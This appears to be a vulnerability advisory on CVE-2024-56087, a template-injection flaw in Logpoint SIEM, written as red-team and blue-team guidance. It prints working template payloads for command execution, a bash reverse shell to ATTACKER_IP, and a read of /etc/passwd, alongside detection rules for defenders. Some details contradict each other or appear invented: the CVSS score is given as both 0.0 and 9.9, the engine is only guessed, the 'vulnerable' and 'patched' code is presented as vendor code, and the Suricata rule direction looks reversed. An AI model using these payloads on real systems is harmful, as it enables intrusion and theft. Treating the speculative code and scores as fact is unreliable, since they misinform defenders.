CVE-2024-56087

Executive Summary

CVE-2024-56087 is a Server-Side Template Injection (SSTI) vulnerability affecting Logpoint SIEM platform versions prior to 7.5.0. An authenticated attacker can inject malicious payloads into the Search Template Dashboard query functionality, leading to arbitrary code execution on the server. This vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it represents a high-severity threat with potential for full system compromise. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a proprietary SIEM product. The risk is limited to Logpoint deployments.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.9 (Critical)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low (authenticated user)
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High

Threat Level: Critical. An authenticated attacker can achieve remote code execution with minimal effort.

Deep Dive & Mechanics

The vulnerability resides in the Search Template Dashboard feature of Logpoint. When a user creates or modifies a search template, the application fails to properly sanitize user-supplied input before passing it to a server-side template engine (likely Jinja2 or similar). This allows an attacker to inject template directives that are executed on the server.

Attack Flow:

1. Attacker authenticates to Logpoint web interface.
2. Attacker navigates to Search Template Dashboard.
3. Attacker crafts a malicious payload in a template field, e.g., {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}.
4. The payload is stored and executed when the template is rendered.
5. Attacker achieves remote code execution.

Root Cause: Lack of input validation and output encoding in the template rendering pipeline.

Vulnerable vs. Patched Code

Vulnerable Code (Logpoint < 7.5.0):

# Vulnerable: Directly rendering user input as template
def render_template(template_string, context):
    from jinja2 import Template
    return Template(template_string).render(context)

Patched Code (Logpoint >= 7.5.0):

# Patched: Using sandboxed environment and input sanitization
def render_template(template_string, context):
    from jinja2 import Environment, BaseLoader, select_autoescape
    env = Environment(loader=BaseLoader(), autoescape=select_autoescape(['html', 'xml']))
    # Sanitize input to prevent injection
    sanitized = sanitize_input(template_string)
    template = env.from_string(sanitized)
    return template.render(context)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Logpoint instance (version < 7.5.0)
• Valid user credentials (low-privileged account)

Exploitation Steps:

1. Login to Logpoint web interface.
2. Navigate to Search Template Dashboard.
3. Create a new template with the following payload in the query field:

   {{ cycler.__init__.__globals__.os.popen('id').read() }}
   

4. Save and execute the template.
5. Observe command output in the results.

Alternative Payloads:

• Reverse shell: {{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read() }}
• File read: {{ config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}

Blue Team

Detection Steps:

1. Monitor for unusual template creation or modification events.
2. Look for payloads containing {{, {%, or {# in search template fields.
3. Check for unexpected process execution from the Logpoint service account.

Hunting Query (Splunk):

index=logpoint sourcetype=logpoint:audit action=template_create OR action=template_update
| search template_query=*{{*
| table user, timestamp, template_name, template_query

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to attacker-controlled IPs on common ports (4444, 8080, 80)
• HTTP requests containing template injection patterns in POST data

File System IOCs:

• Unexpected files in /tmp/ or /var/log/ created by Logpoint service
• Modified template files in Logpoint installation directory

Process IOCs:

• Spawned child processes from Logpoint service (e.g., bash, python, nc)
• Unusual network connections from Logpoint process

Detection Engineering

YARA Rule

rule CVE_2024_56087_SSTI_Logpoint {
    meta:
        description = "Detects Server-Side Template Injection attempts in Logpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-56087"
    strings:
        $ssti1 = "{{" ascii wide nocase
        $ssti2 = "{%" ascii wide nocase
        $ssti3 = "popen" ascii wide nocase
        $ssti4 = "__globals__" ascii wide nocase
        $ssti5 = "__class__" ascii wide nocase
    condition:
        any of ($ssti*) and filesize < 10KB
}

Sigma Rule

title: Logpoint SSTI Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-56087 in Logpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: logpoint
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/template/*'
        cs-uri-query|contains: 
            - '{{'
            - '{%'
            - 'popen'
            - '__globals__'
    condition: selection
falsepositives:
    - Legitimate template usage with similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-56087 Logpoint SSTI Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/template/"; http_uri;
    content:"{{"; http_client_body;
    pcre:"/(\{\{|popen|__globals__)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-56087;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Logpoint to version 7.5.0 or later.
2. If upgrade is not possible, restrict access to Search Template Dashboard to trusted users only.
3. Implement Web Application Firewall (WAF) rules to block template injection patterns.

Long-term Mitigations:

1. Enforce principle of least privilege for Logpoint users.
2. Enable audit logging for all template operations.
3. Conduct regular security assessments of Logpoint configurations.
4. Monitor for anomalous behavior in Logpoint processes.

Workaround:

• Disable the Search Template Dashboard feature via configuration if not required.

Valters IT